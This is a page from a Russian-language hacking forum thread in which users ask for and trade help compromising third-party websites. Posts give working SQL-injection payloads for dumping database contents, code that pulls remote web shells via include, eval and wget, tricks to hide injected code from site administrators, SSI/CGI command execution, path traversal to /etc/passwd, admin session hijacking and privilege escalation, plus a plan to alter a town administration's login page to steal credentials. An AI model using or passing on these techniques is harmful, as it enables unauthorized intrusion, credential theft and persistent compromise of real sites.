PDA

Просмотр полной версии : Вопросы по уязвимостям


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15

NameSpace
16.06.2014, 14:39
faza02, возможно инъекция в нескольких запросах с разным кол-вом колонок. Запрос типа:

';SELECT null,null,null,null,null,null,null,null,null,null, null,null,null,null
работает вне зависимости от числа полей в исходном. Посмотрите, будет ли ошибка при таком запросе:

' UNION SELECT null,null,null,null,null,null,null,null,null,null, null,null,null,null where 1=0--
Если да, то вероятно так и есть. В этом скрипте нет WAF?

faza02
16.06.2014, 15:09
NameSpace, спасибо.
WAF нет точно. и запрос
' UNION SELECT null,null,null,null,null,null,null,null,null,null, null,null,null,null where 1=0--
отработал корректно

upd: нашел еще инъекцию, где только одно поле. на ' UNION SELECT null-- срабатывает, с ' AND 1=2 UNION SELECT null-- тоже, причем точно так же. возможно такое, что при ответе базы, скрипт не понимает формат ответа и выводит стандартный ответ?

NameSpace
16.06.2014, 15:52
faza02, Все может быть. Это одна и та же инъекция или другая, проходящая через этот скрипт? Если ваше предположение верно, скрипт может не распознать ответ с пустыми полями. Попробуйте такой запрос:

' and (1<0); --
Кстати, в первой инъекции вы не пробовали сделать WHERE ложным. Дело может быть именно в этом.

' and (1<0) UNION SELECT null,null,null,null,null,null,null,null,null,nul,n ull,null,null,null --

faza02
16.06.2014, 16:07
NameSpace, ошибок нет. одинаковый ответ на 1<0, 1=1 и т. д.
кстати, если что, есть локальный доступ к базе, поэтому могу посмотреть, если что-то нужно.
спасибо

upd: да, база одна из немногих и доступа к коду нет. запрос целиком я могу посмотреть, как и сами данные, но интересна возможная эксплуатация

NameSpace
16.06.2014, 16:19
кстати, если что, есть локальный доступ к базе, поэтому могу посмотреть, если что-то нужно.
То есть инъекция проводится к вашей же базе? Тогда зачем её проводить, если можно сразу все посмотреть? Или ваша база одна из многих? Если что и надо посмотреть - запросы, которые проводятся и дампы таблиц, к которым они проводятся.

upd:
upd: да, база одна из немногих и доступа к коду нет. запрос целиком я могу посмотреть, как и сами данные, но интересна возможная эксплуатацияЗапрос и сами данные (со структурой) в студию!

faza02
18.06.2014, 11:34
NameSpace, извини, не увидел ответ. запрос выглядит так:
SELECT * FROM users WHERE state = 0 AND login LIKE '%a%';
структура:
user_id | group_id | login | rights | md5_hash | first_name | last_name | state | home_folder_id | role_id | agency_id | start_time | stop_time | extra_info
---------+----------+-------+--------+----------------------------------+------------+-----------+-------+----------------+---------+-----------+---------------------+---------------------+------------
1 | 1 | admin | -1 | 19a2854144b63a8f7617a6f225019b12 | | | 0 | 1 | 0 | 0 | 2013-01-19 06:14:07 | 2038-01-19 06:14:07 |
то есть по сути, запрос select * from users where state = 0 and login like '%a%' and 1 = 2 union select 1,2,null,3,null,null,null,4,5,6,7,null,null,null;
должен быть верным, однако…

madhatter
18.06.2014, 12:49
NameSpace, извини, не увидел ответ. запрос выглядит так:
SELECT * FROM users WHERE state = 0 AND login LIKE '%a%';
структура:
user_id | group_id | login | rights | md5_hash | first_name | last_name | state | home_folder_id | role_id | agency_id | start_time | stop_time | extra_info
---------+----------+-------+--------+----------------------------------+------------+-----------+-------+----------------+---------+-----------+---------------------+---------------------+------------
1 | 1 | admin | -1 | 19a2854144b63a8f7617a6f225019b12 | | | 0 | 1 | 0 | 0 | 2013-01-19 06:14:07 | 2038-01-19 06:14:07 |
то есть по сути, запрос select * from users where state = 0 and login like '%a%' and 1 = 2 union select 1,2,null,3,null,null,null,4,5,6,7,null,null,null;
должен быть верным, однако…


Однако что? Попробуйте добавить одно поле в union-запрос. Если вывод изменится, а в первом случае отсутствие вывода union-запроса, то это классическая слепая инъекция. Также возможен stacked-вектор, в зависимости от типа используемого api.

faza02
18.06.2014, 13:02
было одно предположение, что скрипту посредине не нравятся возвращаемые от базы данные с мои запросом. сделал копию запроса профиля админа, и вуаля:
' and 1=2 union select 12,1,version(),-1,null,null,null,0,1,0,0,'2013-01-19 06:14:07','2013-01-19 06:14:07',null--
в ответе получил, что хотел
{"users":[{"UserId":12,"Login":"PostgreSQL 8.4.13 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.4.6 20120305 (Red Hat 4.4.6-4), 64-bit","FirstName":null,"LastName":null,"Role":null,"RoleId":0,"State":0,"StartTime":"\/Date(1358561647000)\/","StopTime":"\/Date(1358561647000)\/","AgencyId":0,"Agency":"Администраторы","ExtraInfo":null}],"disableState":false}

всем больше спасибо!

Nyashka
20.06.2014, 23:03
есть админка в phpbb залил мини шелл в шаблон , но шелл не заливается(выполнение phpinfo работает) , пробивал так, copy("http://сайт/shall.txt","файл.php"); , и множество других. Так же в base64 кодировал , не помогает, как залить шелл? Или как сделать бекконект? Спасибо. Есть доступ к phpinfo, на какие данные смотреть?

kingbeef
20.06.2014, 23:08
есть админка в phpbb залил мини шелл в шаблон , но шелл не заливается(выполнение phpinfo работает) , пробивал так, copy("http://сайт/shall.txt","файл.php"); , и множество других. Так же в base64 кодировал , не помогает, как залить шелл? Или как сделать бекконект? Спасибо. Есть доступ к phpinfo, на какие данные смотреть?

Попробуй проинклудить
<?php include("http://www.onlineauction.com/tmp/test/wso.txt"); ?>

NameSpace
21.06.2014, 07:07
есть админка в phpbb залил мини шелл в шаблон , но шелл не заливается(выполнение phpinfo работает) , пробивал так, copy("http://сайт/shall.txt","файл.php"); , и множество других. Так же в base64 кодировал , не помогает, как залить шелл? Или как сделать бекконект? Спасибо. Есть доступ к phpinfo, на какие данные смотреть?

<?php
eval(file_get_connects("http://сайт/shall.txt"));
...
eval(file_get_connects(base64_decode(aHR0cDovL9GB0 LDQudGCL3NoYWxsLnR4dD9n)));
...
$var = base64_decode('...');
eval($var)
?>
Смотреть:

allow_url_include
allow_url_fopen
disable_functions
eval("var_dump(1);");

Также см. https://rdot.org/forum/showpost.php?p=36086&postcount=3271

Nyashka
21.06.2014, 16:51
allow_url_include Off
allow_url_fopen On
disable_functions no value
eval("var_dump(1);"); - int(1)

Перепробивал все выше указанные способы и ничего не работает.

NameSpace
21.06.2014, 17:01
allow_url_include Off
allow_url_fopen On
disable_functions no value
eval("var_dump(1);"); - int(1)

Перепробивал все выше указанные способы и ничего не работает.
Шелл должен быть без <?php.

И этот не работает? Не может быть.

$var = base64_decode("...");
eval($var)
Там где ... - закодированный код шелла, а не путь.

Nyashka
21.06.2014, 17:18
работает, но нечего сделать нельзя, то есть тоже самое что просто всунуть код шелла в страницу...
а eval(file_get_connects("http://сайт/shall.txt"));
...
eval(file_get_connects(base64_decode(aHR0cDovL9GB0 LDQudGCL3NoYWxsLnR4dD9n)));
эти коды, работают но обрезают страницу, просто обрезает страницу где находится начало этих кодов.

Nyashka
21.06.2014, 18:27
Для кого интересно. Вообщем сделал по своему, сначала посмотрел права на запись:
system("ls -la");
затем нашел директорию куда можно закачать файл и закачал файл:
system("cd /home/www; wget http://сайт/wso");
текущую директорию узнаем так:
system("pwd");
Вообщем всем спасибо ;)
Еще один вопрос.
Получил шелл права apache, есть доступ к mysql базе, подключается удаленно, как поднять права на другого пользователя? Бекконект не работает, или подскажите свой, который вы юзаете. Спасибо

Faaax
24.06.2014, 12:24
Вобщем проблеммка.
Есть залитие файлов только jpg и png
заливаю php файл меняю на image/png или image/jpg
файл льётся с конечным ~.php файлом.
имя генереруется в хеш.всё нормально,но при обращении к нему он начинает скачиваться,а не выполняться.
Есть какие идеи сделать чтобы он выполнялся?
html выполняется,но все отсальные расширения уже скачиваются.
Нужна помощь,за ранее благодарю.

faza02
24.06.2014, 12:42
Faaax, все отсальные расширения
какие именно?
shtml, php3, php4, php5, phtml, py, pl?

Enigma
24.06.2014, 12:50
Скорее всего через настройки сервера(.htaccess) отключена интерпретация php скриптов в папке куда загружаются картинки. Исправить можно залив .htaccess файл, но если в имя файлы засовывается хеш то похоже ничего не получится.

Попробовать другие расширения тоже можно конечно.

Faaax
24.06.2014, 13:11
да все пробовал.
но shtml выполняется только то что внутри html.

z0mbie
27.06.2014, 12:51
Как скрыть код php внутри другого кода? К примеру имеем Index.php и мне нужно вставить туда свой код, админ всегда замечает мой код и удаляет.

Faaax
28.06.2014, 02:47
Смотря что за код.
И возможно просто стоит авто обновление файлов самих.
Смотри крон.

Faaax
28.06.2014, 23:07
Ребятки помогайте.
Есть доступ к фтп
Но на хосте только 21 порт есть.
Как можно либо выйти за пределы диры пользователя,либо способ чтоб найти как может файл выйти в веб?
Пока в голову идёт main in the middle.(Но думаю безуспешно будет)

r4ndy
29.06.2014, 01:35
Loaded Apache modules: core, mod_authn_file, mod_authn_default, mod_authz_host, mod_authz_groupfile, mod_authz_user, mod_authz_default, mod_auth_basic, mod_reqtimeout, mod_include, mod_filter, mod_deflate, mod_log_config, mod_logio, mod_env, mod_expires, mod_headers, mod_unique_id, mod_setenvif, mod_version, mod_proxy, mod_proxy_connect, mod_proxy_ftp, mod_proxy_http, mod_proxy_scgi, mod_proxy_ajp, mod_proxy_balancer, mod_ssl, prefork, http_core, mod_mime, mod_dav, mod_status, mod_autoindex, mod_asis, mod_suexec, mod_cgi, mod_dav_fs, mod_dav_lock, mod_negotiation, mod_dir, mod_actions, mod_userdir, mod_alias, mod_rewrite, mod_so, mod_php5, mod_security2
Disabled PHP Functions: exec,system,passthru,shell_exec,escapeshellarg,esc apeshellcmd,proc_close,proc_open,dl,popen,show_sou rce
Open base dir: /home/user/:/tmp:/var/tmp:/usr/local/lib/php/
cURL support: enabled
есть ftp доступ к сайту. как можно выполнить .sh скрипт, если system напрямую запрещен?
Php: 5.4.26
eval("var_dump(1);") = int(1)
SSI:.htaccess:
AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes
file.shtml:
<!--#exec echo ololo -->
<!--#exec printenv -->
<!--#exec cmd="$HTTP_ACCEPT" -->
выдает 3 пустые строки - не пойму, это значит что он все таки пытается проинтерпретировать?
пробовал загрузить perl, права поставил 775, в .htaccess
Options +ExecCGI
AddHandler cgi-script cgi pl
любой скрипт, даже print "ololo"; вызывает 500 internal error
есть способы?

UPD: совершенно случайно обнаружил, что если поставить права 755, а не 775 и 777, то ошибки не возникает. т.е с cgi все работает

NameSpace
29.06.2014, 14:14
SSI:

.htaccess:
AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes

file.shtml:
TEST: <!--#echo var="DATE_LOCAL" -->
CGI:

.htaccess:
Options +ExecCGI -Indexes
AddHandler cgi-script cgi pl

file.cgi:
#!/bin/sh
echo "Content-type: text/html"
echo ""
id
PHP:

<?php
pcntl_exec('/bin/sh', ['-c', 'id']);
FTP:

SITE EXEC id
Если есть ftp, то может быть и ssh.

is there any way that we can pull the full query from mysql db?
for example, with information_schema its like:
select info from information_schema.processlistis there any way to do it using mysql database?
Нет. Альтернатива:

mysql> SHOW PROCESSLIST;
+----+------+-----------+------+---------+------+-------+------------------+
| Id | User | Host | db | Command | Time | State | Info |
+----+------+-----------+------+---------+------+-------+------------------+
| 39 | root | localhost | NULL | Query | 0 | NULL | SHOW PROCESSLIST |
+----+------+-----------+------+---------+------+-------+------------------+
1 row in set (0.00 sec)

r4ndy
29.06.2014, 15:39
CGI:Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request
FTP (в filezilla "ввести произвольную команду"):Команда: site exec id
Ответ: 500 'SITE EXEC' not understood
SSI:TEST: <!--#echo var="DATE_LOCAL" -->
EXEC: <!--#exec cmd="id" -->
EXEC2: <!--#exec cmd="/bin/ls" -->
==================================
TEST: Sunday, 29-Jun-2014 15:23:32 EEST
EXEC:
EXEC2:
PHP:Fatal error: Call to undefined function pcntl_exec() in /home/user/domains/domain.com/public_html/wp-config/file.php on line 2
ssi работает, но Open base dir не дает выполнять команды. Залить в одну из разрешенных папок (tmp к примеру) sh (к примеру взятый с виртуалки)? или может любой другой скомпиленный бинарник, который можно запустить без каких-либо интерпретаторов?
UPD: 500 ошибка решилась правами 755, а не 775 и 777

NameSpace
29.06.2014, 16:03
ssi работает, но Open base dir не дает выполнять команды. Залить в одну из разрешенных папок (tmp к примеру) sh (к примеру взятый с виртуалки)? или может любой другой скомпиленный бинарник, который можно запустить без каких-либо интерпретаторов? chmod вроде не запрещен.
open_basedir действует только в PHP. Возможно дело в IncludesNOEXEC. Имеет место попробовать прочитать конфиги и изучить их (кои за пределами open_basedir).

Pashkela
01.07.2014, 20:21
наверно из-за open base dir и 500 internal ошибка на перле и cgi


лол


open_basedir действует только в PHP


а вы уверены, что правильно указали место, где перл лежит?

он не всегда в /usr/bin/perl (например, /usr/local/bin/perl, что надо менять в шелле, и что нельзя менять под виндой, потому что там перенос строк другой - или понимать, в каком редакторе и как менять)

perl-а нет? Это вряд ли, редко

PS: а вы видели вообще эту тему: https://rdot.org/forum/showthread.php?p=32371#post32371 ?

yakovlevich
02.07.2014, 12:30
Ребята помогите, есть mysql error based + WAF, запрос должен быть <=100 символов.
Таблицы вытянул вот так
'&extractvalue(rand(),concat(0x3,(select(table_name) from information_schema.tables limit 12,1)))&1='
Как урезать запрос чтобы вытянуть колонки?
'&extractvalue(rand(),concat(0x3,(select(column_name )from information_schema.columns limit 12,1)))&1='
(102 символа получается, режет WAF)

NameSpace
02.07.2014, 13:31
yakovlevich,

1. См. тему https://rdot.org/forum/showthread.php?p=36213#post36213. Последний вариант дает больше вывода и на 7 символов короче приведенного ниже.
2. Вы не совсем правильно используете extractvalue/updatexml. После небольшого исправления все влезает:
'&updatexml(1,concat(0xA,(SELECT column_name from information_schema.columns limit 12,1)),1)#

avenu
03.09.2014, 15:34
Всем привет ! Да уж, 3 года не был на этом форуме, эх какие были славные времена, много воды с тех пор утекло и многое поменялось далеко не в лучшую сторону... Ну да это все лирика, ближе к телу

Возникла надобность утянуть кое-что с одного сайта, и я решил тряхнуть стариной, особо ни на что не надеясь, каково же было мое удивление, когда я обнаружил старую-добрую скуль-инъекцию, но увы и ах, проку с нее получить не удалось, быть может славные ребята со рдота мне помогут

Ситуация следующая, есть сайт, есть пара параметров уязвимых для скуль
banner.php?banner_id=134&cats=1&types=1
Уязвимы последние два параметра, types реагирует на types=1+and+1=1--+ нормальный резалт
1+and+1=2--+ другая песня

при помощи order by вычислил что имеется 46 полей, при запросе с юнионом - выдает ложный результат
Попытка проведения слепой скули не увенчалась успехом, как то
+AND+555=if(ord(mid((select+user()),1,1))>0,555,777)--+ выдает как ложное срабатывание
+and+ascii(lower(substring(user(),1,1)))>0--+ также ложный результат, было подумал, что возможно бд не мускуль, но проверив таким трюком
cats=1&types=1+and+(select+/*version()*/)-- ложный результат
cats=1&types=1+and+(select+/*!version()*/)-- положительный результат
если запросить таким же макаром user() или database(), результат будет ложным, это меня окончательно запутало

В первом параметре инъекция такого вида 1)+and+1=1--+
но тут при попытке подбора полей ордер баем сразу же ложный результат, при попытке group by'ем результат иной, но по сути тоже всегда одинаков
Прошу разобраться опытных юзеров Рдота в такой странной ситуации, линк светить неохота, поэтому кого заинтересовало и хочет сам попытаться дойти до истины прошу в лс

avenu
03.09.2014, 16:19
И еще подскажите хороший сканер папок со словарем, очень желательно на php
upd нашел пхпфастсканер, верхний вопрос актуален

lex luthor
06.09.2014, 22:20
Нужна помощь в раскрутке скули. В общем запрос такой -
ххх.com/shop/item.php?it_id=325474 OR (SELECT COUNT() FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select column_name from information_schema.columns where table_name=0x2767345f617574683127 limit 0,1), 1, 63), FLOOR(RAND(0)*2))) --
Выдает пустую страницу. При чем, когда крутил table_name через запрос:
ххх.com/shop/item.php?it_id=325474 OR (SELECT COUNT() FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 63), FLOOR(RAND(0)*2))) --
показывало нормально. В чем ошибка?

spari
07.09.2014, 10:21
Нужна помощь в раскрутке скули. В общем запрос такой -
ххх.com/shop/item.php?it_id=325474 OR (SELECT COUNT() FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select column_name from information_schema.columns where table_name=0x2767345f617574683127 limit 0,1), 1, 63), FLOOR(RAND(0)*2))) --
Выдает пустую страницу. При чем, когда крутил table_name через запрос:
ххх.com/shop/item.php?it_id=325474 OR (SELECT COUNT() FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 63), FLOOR(RAND(0)*2))) --
показывало нормально. В чем ошибка?

table_name=0x67345f6175746831 not 0x2767345f617574683127

lex luthor
07.09.2014, 10:38
Точно, 0x67345f6175746831. Но теперь пустую страницу выдает.

z0mbie
16.09.2014, 18:28
Подскажите простенький asp бэкдор, необходимо залить через sql.

при заливке шелла в начале и в конце добавляется:
\N \N text \N \N

mrakz
16.09.2014, 20:00
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-7034
function setCookieValue($_key,$_value)
{
global $CONFIG;
if(!isset($_COOKIE["livezilla"]))
$c_array = Array();
else
$c_array = @unserialize(@base64_decode($_COOKIE["livezilla"]));
if(!isset($c_array[$_key]) || (isset($c_array[$_key]) && $c_array[$_key] != $_value))
{
$c_array[$_key] = $_value;
setcookie("livezilla",($_COOKIE["livezilla"] = base64_encode(serialize($c_array))),time()+($CONFI G["gl_colt"]*86400));
}
}
Делаю так O:4:"lala":1:{s:4:"_key";s:9:"phpinfo()";} конверчу в Base64, сую в куки, в итоге RCE не получается, натолкните на путь истинный.

Enigma
16.09.2014, 20:44
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-7034
function setCookieValue($_key,$_value)
{
global $CONFIG;
if(!isset($_COOKIE["livezilla"]))
$c_array = Array();
else
$c_array = @unserialize(@base64_decode($_COOKIE["livezilla"]));
if(!isset($c_array[$_key]) || (isset($c_array[$_key]) && $c_array[$_key] != $_value))
{
$c_array[$_key] = $_value;
setcookie("livezilla",($_COOKIE["livezilla"] = base64_encode(serialize($c_array))),time()+($CONFI G["gl_colt"]*86400));
}
}
Делаю так O:4:"lala":1:{s:4:"_key";s:9:"phpinfo()";} конверчу в Base64, сую в куки, в итоге RCE не получается, натолкните на путь истинный.

Это не так делается, The setCookieValue function in _lib/functions.global.inc.php in LiveZilla before 5.1.2.1 allows remote attackers to execute arbitrary PHP code via a serialized PHP object in a cookie.

Статья на тему: https://rdot.org/forum/showthread.php?t=950

Прочитай её и поищи в коде продукта класс который позволит тебе это сделать.

z0mbie
18.09.2014, 21:37
Подскажите как в linux узнать к какому сервису привязана корпоративная почта, или вообще как найти вход в почту. И где хранятся письма?

omen666
19.09.2014, 12:52
Здравствуйте, все
Нулевой байт еще работает в php?

Ravenous
20.09.2014, 22:26
Здравствуйте, все
Нулевой байт еще работает в php?

Начиная с 5.3.3 или с 5.3.4 - нит :(

Ravenous
24.09.2014, 15:48
RSFIREWALL от joomla блочит sql inj по префику таблицы(asfasf_). Возможно ли как-нибудь обойти это ограничение?

AiR0
24.09.2014, 18:27
%23__users пробывал?

Ravenous
24.09.2014, 22:13
%23__users пробывал?

Спасибо, помогло. Не знал про эту фишку :good3:

m99
25.09.2014, 14:42
Добрый день уважаемые,
есть сайт маленького города, его администрации.

при попытке на угад подставить и зайти в "/admin/" вижу перечень директорий, файлов,
покоя не дает файл авторизации:
"/admin/templates/auth.tpl"
на странице открывается форума для ввода, понятно что админ-админ и тп не подошли.

Если я правильно понимаю ситуацию:
1. видя список директорий и файлов, можно предположить наличие самой мелкой но уязвимости.
2. исходя из первого, можно попытаться заполучить куки либо изменить файл авторизации таким образом, что бы отослал на почту введенные данные для доступа в админку.

последнее, скорее всего без навыков использования шеллов и в пхп реализовать не получится , и да, cms не определить, знаю что самопис человека с этого же города, правда с ним не расплатилась администрация( и скорее всего "движок" не поддерживается, что дает дополнительные бонусы), а плагин для ФФ ничем не порадовал.

zuzzz
26.09.2014, 10:12
m99, если я не ошибся с сайтом, то это этот сайт очень дырявый. И загрузить туда шелл очень просто. Легко найти способ, когда видно перечень файлов) Там есть модуль загрузки файлов на сервер.

Сами по себе файлы tpl не представляют почти ни какой ценности, т.к. это шаблоны. Изменить их нельзя не имея доступ к файловой системе, через веб можно только посмотреть.

p.s. а администрации этого города, я бы посоветовал побыстрее обновить сайт)

omen666
26.09.2014, 13:43
Добрый день уважаемые,
есть сайт маленького города, его администрации.

при попытке на угад подставить и зайти в "/admin/" вижу перечень директорий, файлов,
покоя не дает файл авторизации:
"/admin/templates/auth.tpl"
на странице открывается форума для ввода, понятно что админ-админ и тп не подошли.

Если я правильно понимаю ситуацию:
1. видя список директорий и файлов, можно предположить наличие самой мелкой но уязвимости.
2. исходя из первого, можно попытаться заполучить куки либо изменить файл авторизации таким образом, что бы отослал на почту введенные данные для доступа в админку.

последнее, скорее всего без навыков использования шеллов и в пхп реализовать не получится , и да, cms не определить, знаю что самопис человека с этого же города, правда с ним не расплатилась администрация( и скорее всего "движок" не поддерживается, что дает дополнительные бонусы), а плагин для ФФ ничем не порадовал.1. Листинг директорий это не уязвимость, а фишка веб сервера, которая приводит к Information Disclosed. Администраторы\веб разработчики ошибочно полагают, что если нет ссылок(точнее гиперссылок) на файлы(использовано слово "файлы", потому что каталог это тоже файл), то их не найти.

2. И не только, это уже как Вам повезет :)

recfrf
27.09.2014, 18:48
посоны, подскажите, есть что нибудь в паблике или не очень для реализации следующей штуки, есть оч.много шеллов, хочется как то узнать, есть ли доступные соседи на сервере(имя домена, чтение, запись в папку этих доменов), вручную это сделать не реально, если учесть что конфиги могут быть разные, даже не представляю как реализовать, особенно чтоб это не занимало уйму времени.

Panic
28.09.2014, 12:29
Возник вопрос по защите от XSS. В какой момент лучше фильтровать данные - при вставке в БД или при отправке к клиенту?

nikp
28.09.2014, 14:52
Возник вопрос по защите от XSS. В какой момент лучше фильтровать данные - при вставке в БД или при отправке к клиенту?
При отправке к клиенту - фильтровать обязательно, по возможности (если фильтр не портит нужные данные) обработать и при вставке в БД.

Ravenous
28.09.2014, 19:08
В старой джумле было прекрасное поле usertype.
А в новой джумле куда там зарыли связи user_id с группами? вообщем нужно вывести всех Administrators, а не только Super Administrators

Panic
28.09.2014, 20:13
Ravenous, там many to many:

SELECT concat_ws(0x3a,username,password)
FROM `j6iw1_user_usergroup_map` inner join `j6iw1_users` on `j6iw1_user_usergroup_map`.user_id=`j6iw1_users`.i d
WHERE group_id in (6,7,8)
GROUP BY user_id;

где
6 - Manager;
7 - Administrator;
8 - Super Administrator;

Izz
02.10.2014, 19:10
Есть ли варианты проэксплуатировать после ORDER by и LIMIT?:

SELECT n.*, DATE_FORMAT(n.time, "%d.%m.%Y") as date FROM `articles` n WHERE n.public=1 AND n.type_id='2' AND n.time>='2011-01-01' AND n.time<'2012-01-01' ORDER by n.time DESC LIMIT injectparam,1000

spari
02.10.2014, 20:35
Есть ли варианты проэксплуатировать после ORDER by и LIMIT?:

SELECT n.*, DATE_FORMAT(n.time, "%d.%m.%Y") as date FROM `articles` n WHERE n.public=1 AND n.type_id='2' AND n.time>='2011-01-01' AND n.time<'2012-01-01' ORDER by n.time DESC LIMIT injectparam,1000

1,1 procedure analyse(0,updatexml(1,concat(0xa,version()),1))#

Izz
03.10.2014, 04:23
1,1 procedure analyse(0,updatexml(1,concat(0xa,version()),1))#

Спс за ответ, но у меня не проходит :(


A Database Error Occurred

Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0,updatexml(1,concat(0x3a,version()),1)) -- -,1' at line 1

SELECT n.*, DATE_FORMAT(n.time, "%d.%m.%Y") as date FROM `articles` n WHERE n.public=1 AND n.type_id='2' AND n.time>='2014-01-01' AND n.time<'2015-01-01' ORDER by n.time DESC LIMIT 1,1 procedure analyse (0,updatexml(1,concat(0x3a,version()),1)) -- -,1000

omen666
03.10.2014, 21:37
Спс за ответ, но у меня не проходит :(


A Database Error Occurred

Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0,updatexml(1,concat(0x3a,version()),1)) -- -,1' at line 1

SELECT n.*, DATE_FORMAT(n.time, "%d.%m.%Y") as date FROM `articles` n WHERE n.public=1 AND n.type_id='2' AND n.time>='2014-01-01' AND n.time<'2015-01-01' ORDER by n.time DESC LIMIT 1,1 procedure analyse (0,updatexml(1,concat(0x3a,version()),1)) -- -,1000попробуйте убрать пробел перед (0,updatexml(1,concat(0x3a,version()),1)) -- -

QaRTiN
07.10.2014, 19:02
Ребят,можно ли обойти rsfirewall в джумле?
Стоит backend-password на админку.Есть скуля,но md5-хэш этого пасса не сбрутился.
Возможно ли в куках передать этот хэш или,может быть,в бд где-то хранятся сессии админов?

smerch
11.10.2014, 18:28
доброго всем дня, требуется помощь спецов.
залил wso, в Server security information это:

Server software: Apache/2.2.15 (CentOS)
Loaded Apache modules: core, prefork, http_core, mod_so, mod_auth_basic, mod_auth_digest, mod_authn_file, mod_authn_alias, mod_authn_anon, mod_authn_dbm, mod_authn_default, mod_authz_host, mod_authz_user, mod_authz_owner, mod_authz_groupfile, mod_authz_dbm, mod_authz_default, util_ldap, mod_authnz_ldap, mod_include, mod_log_config, mod_logio, mod_env, mod_ext_filter, mod_mime_magic, mod_expires, mod_deflate, mod_headers, mod_usertrack, mod_setenvif, mod_mime, mod_dav, mod_status, mod_autoindex, mod_info, mod_dav_fs, mod_vhost_alias, mod_negotiation, mod_dir, mod_actions, mod_speling, mod_userdir, mod_alias, mod_substitute, mod_rewrite, mod_proxy, mod_proxy_balancer, mod_proxy_ftp, mod_proxy_http, mod_proxy_ajp, mod_proxy_connect, mod_cache, mod_suexec, mod_disk_cache, mod_cgi, mod_version, mod_php5, mod_ispmgr
Disabled PHP Functions: exec,passthru,shell_exec,system,proc_open,popen
Open base dir: /var/www/admin/data:.
cURL support: enabled
Supported databases: MySql (5.1.73)

Readable /etc/passwd: no
Readable /etc/shadow: no

попробовал пару бекконектов, оба юзают system, соответственно не работают =(
в моем случае есть еще возможности получить бекконнект?
Заранее благодарен.

devv
11.10.2014, 20:08
smerch: SSI, perl, python пробовали?

smerch
12.10.2014, 07:14
консоль даже в wso не работает,

SSI, perl, python
их получится заюзать в таком случае?
PS попробовал 12309 шелл, перла на хосте нет, питона тоже, SSI тоже не заработал =(

omen666
19.10.2014, 01:04
Ребят,можно ли обойти rsfirewall в джумле?
Стоит backend-password на админку.Есть скуля,но md5-хэш этого пасса не сбрутился.
Возможно ли в куках передать этот хэш или,может быть,в бд где-то хранятся сессии админов? Конечно хранятся и можно авторизироваться под аминов и залить свой шелл :). Доставать данные с #__session например так concat_ws(0x3a,username,userid,client_id,session_i d)
кстате группы (https://rdot.org/forum/showpost.php?p=37130&postcount=3319) пользователей вот человек написал по делу

Panic
19.10.2014, 17:20
omen666, нужно еще подловить момент, пока сессия активна, так?

omen666
19.10.2014, 18:00
omen666, нужно еще подловить момент, пока сессия активна, так?
Да, лично я так заливался и ложил был на phpass

QaRTiN
27.10.2014, 20:55
ребят,есть такой файл:

<?php
$id = $_GET['id'];
echo @file_get_contents("/tmp/tg_l.$id");
?>

кроме читалки тут ничего нет?)

faza02
28.10.2014, 12:26
ребят,есть такой файл:

<?php
$id = $_GET['id'];
echo @file_get_contents("/tmp/tg_l.$id");
?>

кроме читалки тут ничего нет?)

да, только локальная читалка файлов.
1.php?id=../../../etc/passwd

shosman
30.10.2014, 15:10
ok.
so i have this file, reset.php.
its a form to reset forgotten passwords.
there's a security question, and when i type 123, i get "wrong".
but when i type 'or 1=1-- -, i get redirected.
any ideas how to bypass that?

omen666
02.11.2014, 17:44
ok.
so i have this file, reset.php.
its a form to reset forgotten passwords.
there's a security question, and when i type 123, i get "wrong".
but when i type 'or 1=1-- -, i get redirected.
any ideas how to bypass that?

Try to disable the redirect in your browser.

Disable automatic redirection in Opera

Open Opera
Click on Menu> Settings> Quick Preferences > Edit site preferences
Select the "Network" tab
Uncheck the "Enable automatic redirection" option
Click on Ok to validate

QaRTiN
02.11.2014, 20:53
ребят,есть ли универсальная sql-иньекция для этих двух sql-запросов?

select id2 from schema.table where id=$id; -- для этой: 1 union all select version()#
select id3 from schema.table where (id=$id); -- для этой: 1) union all select version()#

нужна универсальная,т.к. результат выводиться только при успешном выполнении обоих

b1ng0
04.11.2014, 13:55
Доброго времени суток, уважаемые, есть задача - пролезть к соседям на сервере.
Параметры сервера:
Server OS : FreeBSD 9.1-RELEASE-p20 FreeBSD 9.1-RELEASE-p20 #0: Mon Oct 20 20:19:33 UTC 2014 :/usr/obj/usr/src/sys/GENERIC amd64
PHP Version 5.3.29
User info : uid=30(www) gid=80(80)
OpenBaseDir : /home/********:/tmp:/usr/local/lib/php:/usr/local/php5
Disable functions : passthru, exec, system, popen, shell_exec, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate
Есть валидный ftp аккаунт.

Как видите многие функции запрещены, так же я пробовал выполнить команду через ftp_exec, но был послан лесом,
код (из примера на php.su):

$ftp_user_name = "********";
$ftp_user_pass = "********";
$command = 'ls -al >files.txt';
$conn_id = ftp_connect("127.0.0.1");
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if (ftp_exec($conn_id, $command)) { echo "Команда $command выполнена успешно<br>\n"; }
else { echo 'Не удалось выполнить ' . $command;}

Подскажите, какие еще у меня есть варианты?
Спасибо.

omen666
04.11.2014, 14:28
Доброго времени суток, уважаемые, есть задача - пролезть к соседям на сервере.
Параметры сервера:
Server OS : FreeBSD 9.1-RELEASE-p20 FreeBSD 9.1-RELEASE-p20 #0: Mon Oct 20 20:19:33 UTC 2014 :/usr/obj/usr/src/sys/GENERIC amd64
PHP Version 5.3.29
User info : uid=30(www) gid=80(80)
OpenBaseDir : /home/********:/tmp:/usr/local/lib/php:/usr/local/php5
